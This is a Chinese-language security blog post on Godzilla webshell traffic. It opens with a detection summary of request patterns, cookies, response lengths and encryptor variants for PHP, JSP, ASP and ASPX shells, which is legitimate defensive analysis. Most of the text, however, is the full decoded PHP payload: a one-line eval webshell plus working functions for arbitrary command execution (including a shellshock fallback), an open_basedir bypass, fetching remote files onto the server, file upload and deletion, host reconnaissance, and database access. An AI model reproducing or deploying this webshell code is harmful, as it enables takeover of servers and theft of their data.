哥斯拉webshell流量特征

本文最后更新于 2025年12月16日 晚上

https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla

总结

php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//如果点击了测试连接
3次请求,第一次很长且无回显,后两次短得多并且长度很相近
第一次请求不带,后两次请求带cookie,并且末尾有;
后两次请求回显长度固定64,格式为md5-16位+base64+md5-16位
回显经过gzip压缩,所以base64解码后开头两字节固定是1f8b

//首次连接webshell
3次请求,第一次很长,后两次短得多并且长度很相近
第一次请求不带,后面请求带cookie,并且末尾有;
第二个请求回显长度固定64,格式为md5-16位+base64+md5-16位
回显经过gzip压缩,所以base64解码后开头两字节固定是1f8b


//不同类型加密器的区别
PHP_EVAL_XOR_BASE64 -> eval(base64_decode(strrev(urldecode(''))))并且请求有两个参数,payload长度都很长
PHP_XOR_BASE64 -> 只有一个参数,payload都比较短,并且是base64
PHP_XOR_RAW -> Content-Type: application/octet-stream,payload是raw不是base64

jsp/jspx

1
2
3
4
5
6
7
8
9
10
11
12
//如果点击了测试连接
3次请求,第一次很长且无回显(frame.len == 265),后两次短得多并且长度很相近
第一次请求不带,后两次请求带cookie,并且末尾有;
后两次请求回显长度固定Content-Length: 76 ,格式为md5-16位+base64+md5-16位
回显经过gzip压缩,所以base64解码后开头两字节固定是1f8b

//首次连接webshell
3次请求,第一次很长且无回显(frame.len == 265),后两次短得多并且长度很相近
第一次请求不带,后面请求带cookie,并且末尾有;
第二个请求回显长度固定Content-Length: 76(JAVA_AES_BASE64)/32(RAW),格式为md5-16位+base64+md5-16位
回显经过gzip压缩,所以base64解码后开头两字节固定是1f8b

asp,跟php差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//如果点击了测试连接
3次请求,第一次很长且无回显(frame.len == 286),后两次短得多并且长度很相近
第一次请求不带,后两次请求带cookie,并且末尾有;
后两次请求回显长度固定Content-Length: 16、frame.len == 236(Content-Length: 2、frame.len == 221 RAW),格式为md5-6位+base64+md5-6位
回显经过gzip压缩,所以base64解码后开头两字节固定是1f8b

//首次连接webshell
3次请求,第一次很长且无回显(frame.len == 286),后两次短得多并且长度很相近
第一次请求不带,后面请求带cookie,并且末尾有;
第二个请求回显长度固定Content-Length: 16、frame.len == 236(Content-Length: 2、frame.len == 221 RAW),格式为md5-6位+base64+md5-6位
回显经过gzip压缩,所以base64解码后开头两字节固定是1f8b




//不同类型加密器的区别
ASP_EVAL_BASE64 -> eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Ex"&cHr(101)&"cute(""""On Error Resume Next:""""&bd(""""""""))并且请求有两个参数,payload长度都很长
ASP_XOR_BASE64 -> 只有一个参数,payload都比较短,并且是base64
ASP_XOR_RAW -> Content-Type: application/octet-stream,payload是raw不是base64,Cache-Control: private //响应
ASP_RAW -> ASP_XOR_RAW 的明文传输版本,专属特点Cookie: pass=xxx;必须cookie有pass
ASP_BASE64 -> ASP_XOR_BASE64的不xor加密通信版本

aspx/asmx/ashx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//如果点击了测试连接
3次请求,第一次很长且无回显(frame.len == 336/313/680),后两次短得多并且长度很相近
第一次请求不带,后两次请求带cookie,并且末尾有;
后两次请求回显长度固定Content-Length: 76/404/32、frame.len == 340/679/281,格式为md5-16位+base64+md5-16位
回显经过gzip压缩,所以base64解码后开头两字节固定是1f8b

//首次连接webshell
3次请求,第一次很长且无回显(frame.len == 336/313/680),后两次短得多并且长度很相近
第一次请求不带,后面请求带cookie,并且末尾有;
第二个请求回显长度固定Content-Length: 76/404/32、frame.len == 340/679/281,格式为md5-16位+base64+md5-16位
回显经过gzip压缩,所以base64解码后开头两字节固定是1f8b

//默认连接参数(pass)和key(key)响应必然包含
11CD6A8758984163CRF8Fju8YJWYsacdj2S9hlrsxeDHV8GSkLM/jS9ONlU=6C37AC826A2A04BC

//不同类型加密器的区别
CSHAP_EVAL_AES_BASE64 -> eval(System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(HttpUtility.UrlDecode(''))),'unsafe');并且请求有两个参数,payload长度都很长
CSHAP_AES_BASE64 -> 只有一个参数,payload都比较短,并且是base64
CSHAP_ASMX_AES_BASE64 -> xml格式的CSHAP_AES_BASE64,第一次请求回显不为空
CSHAP_AES_RAW -> Content-Type: application/octet-stream,payload是raw不是base64,Cache-Control: private //响应

php

管理 -> 生成 -> 有效载荷PhpDynamicPayload

PHP_EVAL_XOR_BASE64 生成的shell:
1
2
<?php
eval($_POST["pass"]);

测试连接会发送3个请求,第一个请求会很长,后面两个请求会短得多

并且第一个请求的响应是空body,并且header不带cookie

实际执行的是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
$parameters=array();
$_SES=array();
function run($pms){
global $ERRMSG;

reDefSystemFunc();
$_SES=&getSession();
@session_start();
$sessioId=md5(session_id());
if (isset($_SESSION[$sessioId])){
$_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
}
@session_write_close();

if (canCallGzipDecode()==1&&@isGzipStream($pms)){
$pms=gzdecode($pms);
}
formatParameter($pms);

if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
@bypass_open_basedir();
}

if (function_existsEx("set_error_handler")){
@set_error_handler("payloadErrorHandler");
}
if (function_existsEx("set_exception_handler")){
@set_exception_handler("payloadExceptionHandler");
}
$result=@evalFunc();
if ($result==null||$result===false){
$result=$ERRMSG;
}

if ($_SES!==null){
session_start();
$_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
@session_write_close();
}
if (canCallGzipEncode()){
$result=gzencode($result,6);
}

return $result;
}
function payloadExceptionHandler($exception){
global $ERRMSG;
$ERRMSG.="ExceptionMsg:".$exception->getMessage()."\r\n";
return true;
}
function payloadErrorHandler($errno, $errstr, $errfile=null, $errline=null,$errcontext=null){
global $ERRMSG;
$ERRMSG.="ErrLine: {$errline} ErrorMsg:{$errstr}\r\n";
return true;
}
function S1MiwYYr($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[($i+1)%15];
}
return $D;
}
function reDefSystemFunc(){
if (!function_exists("file_get_contents")) {
function file_get_contents($file) {
$f = @fopen($file,"rb");
$contents = false;
if ($f) {
do { $contents .= fgets($f,1024*1024); } while (!feof($f));
}
fclose($f);
return $contents;
}
}
if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
function gzdecode($data)
{
return gzinflate(substr($data,10,-8));
}
}
if (!function_exists("sys_get_temp_dir")){
function sys_get_temp_dir(){
$SCRIPT_FILENAME=dirname(__FILE__);
if (substr($SCRIPT_FILENAME, 0, 1) != '/'){
return "C:/Windows/Temp/";
}else{
return "/tmp/";
}
}
}
if (!function_exists("getmygid")){
function getmygid(){
return 0;
}
}
if (!function_exists("scandir")){
function scandir($directory){
$dh = opendir($directory);
if ($dh!==false){
$files=array();
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
@closedir($dh);
return $files;
}
return false;
}
}
if (!function_exists("file_put_contents")){
function file_put_contents($fileName, $data){
$handle=fopen($fileName,"wb");
if ($handle!==false){
$len=fwrite($handle,$data);
return $len;
@fclose($handle);
}else{
return false;
}
}
}
if (!function_exists("is_executable")){
function is_executable($fileName){
return false;
}
}

}
function &getSession(){
global $_SES;
return $_SES;
}
function bypass_open_basedir(){
@$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
$allFiles = @scandir($_FILENAME);
$cdStatus=false;
if ($allFiles!=null){
foreach ($allFiles as $fileName) {
if ($fileName!="."&&$fileName!=".."){
if (@is_dir($fileName)){
if (@chdir($fileName)===true){
$cdStatus=true;
break;
}
}
}

}
}
if(!@file_exists('bypass_open_basedir')&&!$cdStatus){
@mkdir('bypass_open_basedir');
}
if (!$cdStatus){
@chdir('bypass_open_basedir');
}
@ini_set('open_basedir','..');
@$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
@$_path = str_replace("\\",'/',$_FILENAME);
@$_num = substr_count($_path,'/') + 1;
$_i = 0;
while($_i < $_num){
@chdir('..');
$_i++;
}
@ini_set('open_basedir','/');
if (!$cdStatus){
@rmdir($_FILENAME.'/'.'bypass_open_basedir');
}
}
function formatParameter($pms){
global $parameters;
$index=0;
$key=null;
while (true){
$q=$pms[$index];
if (ord($q)==0x02){
$len=bytesToInteger(getBytes(substr($pms,$index+1,4)),0);
$index+=4;
$value=substr($pms,$index+1,$len);
$index+=$len;
$parameters[$key]=$value;
$key=null;
}else{
$key.=$q;
}
$index++;
if ($index>strlen($pms)-1){
break;
}
}
}
function evalFunc(){
@session_write_close();
$className=get("codeName");
$methodName=get("methodName");
$_SES=&getSession();
if ($methodName!=null){
if (strlen(trim($className))>0){
if ($methodName=="includeCode"){
return includeCode();
}else{
if (isset($_SES[$className])){
return eval($_SES[$className]);
}else{
return "{$className} no load";
}
}
}else{
if (function_exists($methodName)){
return $methodName();
}else{
return "function {$methodName} not exist";
}
}
}else{
return "methodName Is Null";
}

}
function deleteDir($p){
$m=@dir($p);
while(@$f=$m->read()){
$pf=$p."/".$f;
@chmod($pf,0777);
if((is_dir($pf))&&($f!=".")&&($f!="..")){
deleteDir($pf);
@rmdir($pf);
}else if (is_file($pf)&&($f!=".")&&($f!="..")){
@unlink($pf);
}
}
$m->close();
@chmod($p,0777);
return @rmdir($p);
}
function deleteFile(){
$F=get("fileName");
if(is_dir($F)){
return deleteDir($F)?"ok":"fail";
}else{
return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
}
}
function setFileAttr(){
$type = get("type");
$attr = get("attr");
$fileName = get("fileName");
$ret = "Null";
if ($type!=null&&$attr!=null&&$fileName!=null) {
if ($type=="fileBasicAttr"){
if (@chmod($fileName,convertFilePermissions($attr))){
return "ok";
}else{
return "fail";
}
}else if ($type=="fileTimeAttr"){
if (@touch($fileName,$attr)){
return "ok";
}else{
return "fail";
}
}else{
return "no ExcuteType";
}
}else{
$ret="type or attr or fileName is null";
}
return $ret;
}
function fileRemoteDown(){
$url=get("url");
$saveFile=get("saveFile");
if ($url!=null&&$saveFile!=null) {
$data=@file_get_contents($url);
if ($data!==false){
if (@file_put_contents($saveFile,$data)!==false){
@chmod($saveFile,0777);
return "ok";
}else{
return "write fail";
}
}else{
return "read fail";
}
}else{
return "url or saveFile is null";
}
}
function copyFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (@is_file($srcFileName)){
if (copy($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}
}else{
return "The target does not exist or is not a file";
}
}
function moveFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (rename($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}

}
function getBasicsInfo()
{
$data = array();
$data['OsInfo'] = @php_uname();
$data['CurrentUser'] = @get_current_user();
$data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
$data['REMOTE_ADDR'] = @$_SERVER['REMOTE_ADDR'];
$data['REMOTE_PORT'] = @$_SERVER['REMOTE_PORT'];
$data['HTTP_X_FORWARDED_FOR'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$data['HTTP_CLIENT_IP'] = @$_SERVER['HTTP_CLIENT_IP'];
$data['SERVER_ADDR'] = @$_SERVER['SERVER_ADDR'];
$data['SERVER_NAME'] = @$_SERVER['SERVER_NAME'];
$data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
$data['disable_functions'] = @ini_get('disable_functions');
$data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
$data['Open_basedir'] = @ini_get('open_basedir');
$data['timezone'] = @ini_get('date.timezone');
$data['encode'] = @ini_get('exif.encode_unicode');
$data['extension_dir'] = @ini_get('extension_dir');
$tmpDir=sys_get_temp_dir();
$separator=substr($tmpDir,strlen($tmpDir)-1,1);
if ($separator!='\\'&&$separator!='/'){
$tmpDir=$tmpDir.'/';
}
$data['systempdir'] = $tmpDir;
$data['include_path'] = @ini_get('include_path');
$data['DOCUMENT_ROOT'] = $_SERVER['DOCUMENT_ROOT'];
$data['PHP_SAPI'] = PHP_SAPI;
$data['PHP_VERSION'] = PHP_VERSION;
$data['PHP_INT_SIZE'] = PHP_INT_SIZE;
$data['ProcessArch'] = PHP_INT_SIZE==8?"x64":"x86";
$data['PHP_OS'] = PHP_OS;
$data['canCallGzipDecode'] = canCallGzipDecode();
$data['canCallGzipEncode'] = canCallGzipEncode();
$data['session_name'] = @ini_get("session.name");
$data['session_save_path'] = @ini_get("session.save_path");
$data['session_save_handler'] = @ini_get("session.save_handler");
$data['session_serialize_handler'] = @ini_get("session.serialize_handler");
$data['user_ini_filename'] = @ini_get("user_ini.filename");
$data['memory_limit'] = @ini_get('memory_limit');
$data['upload_max_filesize'] = @ini_get('upload_max_filesize');
$data['post_max_size'] = @ini_get('post_max_size');
$data['max_execution_time'] = @ini_get('max_execution_time');
$data['max_input_time'] = @ini_get('max_input_time');
$data['default_socket_timeout'] = @ini_get('default_socket_timeout');
$data['mygid'] = @getmygid();
$data['mypid'] = @getmypid();
$data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
$data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
$data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
$data['short_open_tag'] = @get_cfg_var('short_open_tag');
$data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
$data['asp_tags'] = @get_cfg_var('asp_tags');
$data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
$data['safe_mode'] = @get_cfg_var('safe_mode');
$data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
$data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
if (strlen(trim($data['CurrentDir']))==0){
$data['CurrentDir'] = str_replace('\\', '/', @dirname(__FILE__));
}
$SCRIPT_FILENAME=@dirname(__FILE__);
$data['FileRoot'] = '';
if (substr($SCRIPT_FILENAME, 0, 1) != '/') {
$drivers=array('C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
foreach ($drivers as $L){
if (@is_dir("{$L}:/")){
$data['FileRoot'] .= "{$L}:/;";}
}
if (empty($data['FileRoot'])){
$data['FileRoot']=substr($SCRIPT_FILENAME,0,3);
}
}else{
$data['FileRoot'] .= "/";
}
$result="";
foreach($data as $key=>$value){
$result.=$key." : ".$value."\n";
}
return $result;
}
function getFile(){
$dir=get('dirName');
$dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
$dir.="/";
$path=$dir;
$allFiles = @scandir($path);
$data="";
if ($allFiles!=null){
$data.="ok";
$data.="\n";
$data.=$path;
$data.="\n";
foreach ($allFiles as $fileName) {
if ($fileName!="."&&$fileName!=".."){
$fullPath = $path.$fileName;
$lineData=array();
array_push($lineData,$fileName);
array_push($lineData,@is_file($fullPath)?"1":"0");
array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
array_push($lineData,@filesize($fullPath));
$fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
array_push($lineData,(strlen($fr)>0?$fr:"F"));
$data.=(implode("\t",$lineData)."\n");
}

}
}else{
return "Path Not Found Or No Permission!";
}
return $data;
}
function readFileContent(){
$fileName=get("fileName");
if (@is_file($fileName)){
if (function_existsEx("is_readable")){
return file_get_contents($fileName);
}else{
return "No Permission!";
}
}else{
return "File Not Found";
}
}
function uploadFile(){
$fileName=get("fileName");
$fileValue=get("fileValue");
if (@file_put_contents($fileName,$fileValue)!==false){
@chmod($fileName,0777);
return "ok";
}else{
return "fail";
}
}
function newDir(){
$dir=get("dirName");
if (@mkdir($dir,0777,true)!==false){
return "ok";
}else{
return "fail";
}
}
function newFile(){
$fileName=get("fileName");
if (@file_put_contents($fileName,"")!==false){
return "ok";
}else{
return "fail";
}
}

function function_existsEx($functionName){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($functionName)&&is_callable($functionName)&&!in_array($functionName,$d));
}

function execCommand(){
@ob_start();
$cmdLine=get("cmdLine");
if(substr(__FILE__,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
$result="";
if (!function_existsEx("runshellshock")){
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && function_existsEx('putenv') && (function_existsEx('error_log') || function_existsEx('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_existsEx('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
return $output;
}
}
return False;
};
}

if(function_existsEx('system')){
@system($cmdLine,$ret);
}elseif(function_existsEx('passthru')){
$result=@passthru($cmdLine,$ret);
}elseif(function_existsEx('shell_exec')){
$result=@shell_exec($cmdLine);
}elseif(function_existsEx('exec')){
@exec($cmdLine,$o,$ret);
$result=join("\n",$o);
}elseif(function_existsEx('popen')){
$fp=@popen($cmdLine,'r');
while(!@feof($fp)){
$result.=@fgets($fp,1024*1024);
}
@pclose($fp);
}elseif(function_existsEx('proc_open')){
$p = @proc_open($cmdLine, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
$result.=@fgets($io[1],1024*1024);
}
while(!@feof($io[2])){
$result.=@fgets($io[2],1024*1024);
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(substr(__FILE__,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($cmdLine);
$so=$e->StdOut();
$result.=$so->ReadAll();
$se=$e->StdErr();
$result.=$se->ReadAll();
}elseif (function_existsEx("pcntl_fork")&&function_existsEx("pcntl_exec")){
$cmd="/bin/bash";
if (!file_exists($cmd)){
$cmd="/bin/sh";
}
$commandFile=sys_get_temp_dir()."/".time().".log";
$resultFile=sys_get_temp_dir()."/".(time()+1).".log";
@file_put_contents($commandFile,$cmdLine);
switch (pcntl_fork()) {
case 0:
$args = array("-c", "$cmdLine > $resultFile");
pcntl_exec($cmd, $args);
// the child will only reach this point on exec failure,
// because execution shifts to the pcntl_exec()ed command
exit(0);
default:
break;
}
if (!file_exists($resultFile)){
sleep(2);
}
$result=file_get_contents($resultFile);
@unlink($commandFile);
@unlink($resultFile);

}elseif(($result=runshellshock(__FILE__, $cmdLine)!==false)) {

}else{
return "none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock/pcntl_exec is available";
}
$result .= @ob_get_contents();
@ob_end_clean();

return $result;
}
function execSql(){
$dbType=get("dbType");
$dbHost=get("dbHost");
$dbPort=get("dbPort");
$username=get("dbUsername");
$password=get("dbPassword");
$execType=get("execType");
$execSql=get("execSql");
$charset=get("dbCharset");
$currentDb=get("currentDb");
function mysqli_exec($host,$port,$username,$password,$execType,$currentDb,$sql,$charset){
// 创建连接
$conn = new mysqli($host,$username,$password,"",$port);
// Check connection
if ($conn->connect_error) {
return $conn->connect_error;
}
if (!empty($charset)){
$conn->set_charset($charset);
}
if (!empty($currentDb)){
$conn->select_db($currentDb);
}
$result = $conn->query($sql);
if ($conn->error){
return $conn->error;
}
if ($execType=="update"){
return "Query OK, ".$conn->affected_rows." rows affected";
}else{
$data="ok\n";
while ($column = $result->fetch_field()){
$data.=base64_encode($column->name)."\t";
}
$data.="\n";
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
foreach ($row as $value){
$data.=base64_encode($value)."\t";
}
$data.="\n";
}
}
return $data;
}
}
function mysql_exec($host, $port, $username, $password, $execType, $currentDb,$sql,$charset) {
$con = @mysql_connect($host.":".$port, $username, $password);
if (!$con) {
return mysql_error();
} else {
if (!empty($charset)){
mysql_set_charset($charset,$con);
}
if (!empty($currentDb)){
if (function_existsEx("mysql_selectdb")){
mysql_selectdb($currentDb,$con);
}elseif (function_existsEx("mysql_select_db")){
mysql_select_db($currentDb,$con);
}
}
$result = @mysql_query($sql);
if (!$result) {
return mysql_error();
}
if ($execType == "update") {
return "Query OK, ".mysql_affected_rows($con)." rows affected";
} else {
$data = "ok\n";
for ($i = 0; $i < mysql_num_fields($result); $i++) {
$data.= base64_encode(mysql_field_name($result, $i))."\t";
}
$data.= "\n";
$rowNum = mysql_num_rows($result);
if ($rowNum > 0) {
while ($row = mysql_fetch_row($result)) {
foreach($row as $value) {
$data.= base64_encode($value)."\t";
}
$data.= "\n";
}
}
}
@mysql_close($con);
return $data;
}
}
function mysqliEx_exec($host, $port, $username, $password, $execType, $currentDb,$sql,$charset){
$port == "" ? $port = "3306" : $port;
$T=@mysqli_connect($host,$username,$password,"",$port);
if (!empty($charset)){
@mysqli_set_charset($charset);
}
if (!empty($currentDb)){
@mysqli_select_db($T,$currentDb);
}
$q=@mysqli_query($T,$sql);
if(is_bool($q)){
return mysqli_error($T);
}else{
if (mysqli_num_fields($q)>0){
$i=0;
$data = "ok\n";
while($col=@mysqli_fetch_field($q)){
$data.=base64_encode($col->name)."\t";
$i++;
}
$data.="\n";
while($rs=@mysqli_fetch_row($q)){
for($c=0;$c<$i;$c++){
$data.=base64_encode(trim($rs[$c]))."\t";
}
$data.="\n";
}
return $data;
}else{
return "Query OK, ".@mysqli_affected_rows($T)." rows affected";
}
}
}
function pg_execEx($host, $port, $username, $password, $execType,$currentDb, $sql,$charset){
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'user'=>$username,
'password'=>$password
);
if (!empty($currentDb)){
$arr["dbname"]=$currentDb;
}
$cs='';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v ";
}
$T=@pg_connect($cs);
if(!$T){
return @pg_last_error();
}else{
if (!empty($charset)){
@pg_set_client_encoding($T,$charset);
}
$q=@pg_query($T, $sql);
if(!$q){
return @pg_last_error();
}else{
$n=@pg_num_fields($q);
if($n===NULL){
return @pg_last_error();
}elseif($n===0){
return "Query OK, ".@pg_affected_rows($q)." rows affected";
}else{
$data = "ok\n";
for($i=0;$i<$n;$i++){
$data.=base64_encode(@pg_field_name($q,$i))."\t";
}
$data.= "\n";
while($row=@pg_fetch_row($q)){
for($i=0;$i<$n;$i++){
$data.=base64_encode($row[$i]!==NULL?$row[$i]:"NULL")."\t";
}
$data.= "\n";
}
return $data;
}
}
}
}
function sqlsrv_exec($host, $port, $username, $password, $execType, $currentDb,$sql){

$dbConfig=array("UID"=> $username,"PWD"=>$password);
if (!empty($currentDb)){
$dbConfig["Database"]=$currentDb;
}

$T=@sqlsrv_connect($host,$dbConfig);
$q=@sqlsrv_query($T,$sql,null);
if($q!==false){
$i=0;
$fm=@sqlsrv_field_metadata($q);
if(empty($fm)){
$ar=@sqlsrv_rows_affected($q);
return "Query OK, ".$ar." rows affected";
}else{
$data = "ok\n";

foreach($fm as $rs){
$data.=base64_encode($rs['Name'])."\t";
$i++;
}
$data.= "\n";
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
for($c=0;$c<$i;$c++){
$data.=base64_encode(trim($rs[$c]))."\t";
}
$data.= "\n";
}
return $data;
}
}else{
$err="";
if(($e = sqlsrv_errors()) != null){
foreach($e as $v){
$err.=($e['message'])."\n";
}
}
return $err;
}
}
function mssql_exec($host, $port, $username, $password, $execType,$currentDb, $sql){
$T=@mssql_connect($host,$username,$password);
if (!empty($currentDb)){
@mssql_select_db($currentDb);
}
$q=@mssql_query($sql,$T);
if(is_bool($q)){
return "Query OK, ".@mssql_rows_affected($T)." rows affected";
}else{
$data = "ok\n";
$i=0;
while($rs=@mssql_fetch_field($q)){
$data.=base64_encode($rs->name)."\t";
$i++;
}
$data.="\n";
while($rs=@mssql_fetch_row($q)){
for($c=0;$c<$i;$c++){
$data.=base64_encode(trim($rs[$c]))."\t";
}
$data.="\n";
}
@mssql_free_result($q);
@mssql_close($T);
return $data;
}
}
